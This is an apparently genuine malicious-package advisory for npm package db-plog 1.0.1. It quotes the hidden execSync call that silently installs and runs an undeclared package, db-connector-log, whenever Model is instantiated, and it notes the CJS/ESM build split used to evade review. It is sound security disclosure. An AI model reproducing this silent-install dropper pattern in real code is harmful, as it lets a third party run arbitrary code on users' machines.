MAL-2026-6538

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/db-plog/MAL-2026-6538.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-6538
Published
2026-06-26T21:08:49Z
Modified
2026-06-26T21:46:44.949457720Z
Summary
Malicious code in db-plog (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (961a6a108104105727b81399e6a3a6d56636cb79ae8fbfbbc33528f90d890d99)

On every Model instantiation — the package's documented primary API — dist/index.js executes execSync('npm install db-connector-log --no-warnings --no-save --no-progress --loglevel silent', { windowsHide: true }), then require('db-connector-log') and invokes new DxDatabaseConnector({}).queryDBConnect(). The 'db-connector-log' package is not declared in package.json's dependencies, is not mentioned in the README, and the silenced npm flags plus windowsHide are designed to hide the install from the operator. This is a runtime dropper: whoever controls the separately-published 'db-connector-log' package can ship arbitrary code to anyone who loads db-plog and uses its Model API, and can mutate that code at any time without republishing db-plog. The CJS bundle (dist/index.js, declared as main) contains this dropper while the ESM bundle (dist/index.mjs, declared as module) omits it entirely — Model in the.mjs build has no resetor() call and no resetor method. Two divergent builds from one Rollup configuration is a deliberate evasion pattern that hides the payload from reviewers and bundlers reading the ESM entry. The harm fires the first time consuming code instantiates Model, which is the package's advertised use, so any normal use of the library triggers the dropper.

Database specific 
{
    "malicious-packages-origins": [
        {
            "versions": [
                "1.0.1"
            ],
            "modified_time": "2026-06-26T21:08:49Z",
            "sha256": "961a6a108104105727b81399e6a3a6d56636cb79ae8fbfbbc33528f90d890d99",
            "id": "IN-MAL-2026-007665",
            "source": "amazon-inspector",
            "import_time": "2026-06-26T21:34:02.397255878Z"
        }
    ]
}
References
Credits

Affected packages

npm / db-plog

Package

Name
db-plog
View open source insights on deps.dev
Purl
pkg:npm/db-plog

Affected ranges

Affected versions

1.*
1.0.1

Database specific

cwes 
[
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    }
]
indicators 
{
    "package_integrity": [
        {
            "filename": "db-plog-1.0.1.tgz",
            "hashes": {
                "sha512_sri": "sha512-UkBUwJSZdMqUAgUeMxgnNCBXsZo1mmZjUey77EqUn7YkyHxCo0MyqRLKubjFfDWFhDsqTLBLFwIryUhVgOKHEA==",
                "sha1": "1e7000da12ac4510ab342ab46ce5b2383617e8c6"
            }
        }
    ],
    "evidence_files": [
        {
            "path": "dist/index.js",
            "tlsh": "2452338937fb2930456b30691e0f8107b63a944ba91ded4c7a9c42d4af4847e52f3bf9",
            "sha256": "c3946ddee67410aba816f9a2bfa5c5bddf526d3d4dd50619ba39ea9521cf243d"
        }
    ]
}
source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/db-plog/MAL-2026-6538.json"